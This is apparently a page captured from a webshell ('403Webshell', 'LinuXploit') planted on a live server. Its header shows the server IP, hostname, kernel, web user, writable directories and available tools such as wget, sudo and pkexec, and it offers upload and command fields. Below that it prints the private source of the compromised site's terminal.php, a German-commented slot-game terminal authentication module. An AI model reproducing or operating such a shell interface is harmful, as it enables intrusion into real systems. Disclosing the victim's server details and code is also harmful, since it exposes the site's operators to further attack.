403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web31/web/slots/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web31/web/slots/includes/terminal.php
<?php
/**
 * Terminal-Anbindung für Reel Royale.
 * Erlaubt das Spielen OHNE Login, wenn der Aufruf über ein ArNi-Terminal erfolgt.
 * Authentifizierung per HMAC-Token (gemeinsames Secret der Terminal-App).
 * Je (Terminal, Ansicht) existiert ein eigener „Gast"-Spieler, dessen Guthaben
 * im Terminal manuell gesetzt wird. Verfügbare Spiele je Terminal wählbar.
 */

/** Gemeinsames Terminal-Secret (aus web/terminal/includes/secret.php). */
function rr_term_secret(): string
{
    $f = __DIR__ . '/../../terminal/includes/secret.php';
    return is_file($f) ? (string) require $f : '';
}

/** Erwarteter Token für (Terminal-Hash, View-Token). */
function rr_term_token(string $hash, string $view): string
{
    return hash_hmac('sha256', 'slots:' . $hash . ':' . $view, rr_term_secret());
}

function rr_term_verify(string $hash, string $view, ?string $tok): bool
{
    $s = rr_term_secret();
    return $s !== '' && is_string($tok) && hash_equals(rr_term_token($hash, $view), $tok);
}

/** Konfig-Tabelle (in derselben DB) idempotent anlegen. */
function rr_term_table(): void
{
    db()->exec('CREATE TABLE IF NOT EXISTS term_slots (
        terminal_hash CHAR(32) NOT NULL,
        view_token    CHAR(32) NOT NULL,
        slots_user_id INT UNSIGNED NOT NULL,
        games_json    TEXT NULL,
        created_at    DATETIME NOT NULL,
        updated_at    DATETIME NULL,
        PRIMARY KEY (terminal_hash, view_token),
        KEY idx_ts_user (slots_user_id)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci');
}

/** Zeile + Gast-Spieler sicherstellen; @return array term_slots-Zeile. */
function rr_term_ensure(string $hash, string $view): array
{
    rr_term_table();
    $sel = db()->prepare('SELECT * FROM term_slots WHERE terminal_hash = ? AND view_token = ?');
    $sel->execute([$hash, $view]);
    $row = $sel->fetch();
    if ($row) return $row;

    // Gast-Spieler anlegen (eigenes Guthaben je Terminal/Ansicht)
    $uname = 'term_' . substr($hash, 0, 10) . '_' . substr($view, 0, 4);
    $uname = substr($uname, 0, 24);
    $pw = password_hash(bin2hex(random_bytes(12)), PASSWORD_DEFAULT);
    db()->prepare('INSERT INTO users
        (username, password_hash, balance, free_spins, total_wagered, total_won, total_play_seconds, biggest_single_win, best_win_ratio, created_at, last_seen_at)
        VALUES (?, ?, 0, 0, 0, 0, 0, 0, 0, NOW(), NOW())')->execute([$uname, $pw]);
    $uid = (int) db()->lastInsertId();

    db()->prepare('INSERT INTO term_slots (terminal_hash, view_token, slots_user_id, games_json, created_at)
        VALUES (?, ?, ?, NULL, NOW())')->execute([$hash, $view, $uid]);
    $sel->execute([$hash, $view]);
    return $sel->fetch();
}

/** Alle verfügbaren Slot-Spiele (id, title) für die Auswahl. */
function rr_term_games_all(): array
{
    $out = [];
    foreach (games_client_list() as $g) {
        $out[] = ['id' => $g['id'], 'title' => $g['title']];
    }
    return $out;
}

/** Ausgewählte Spiel-IDs einer Terminal-Ansicht (leer = alle). */
function rr_term_selected_games(array $row): array
{
    $g = $row['games_json'] ? json_decode($row['games_json'], true) : [];
    return is_array($g) ? array_values(array_filter(array_map('strval', $g))) : [];
}

Youez - 2016 - github.com/yon3zu
LinuXploit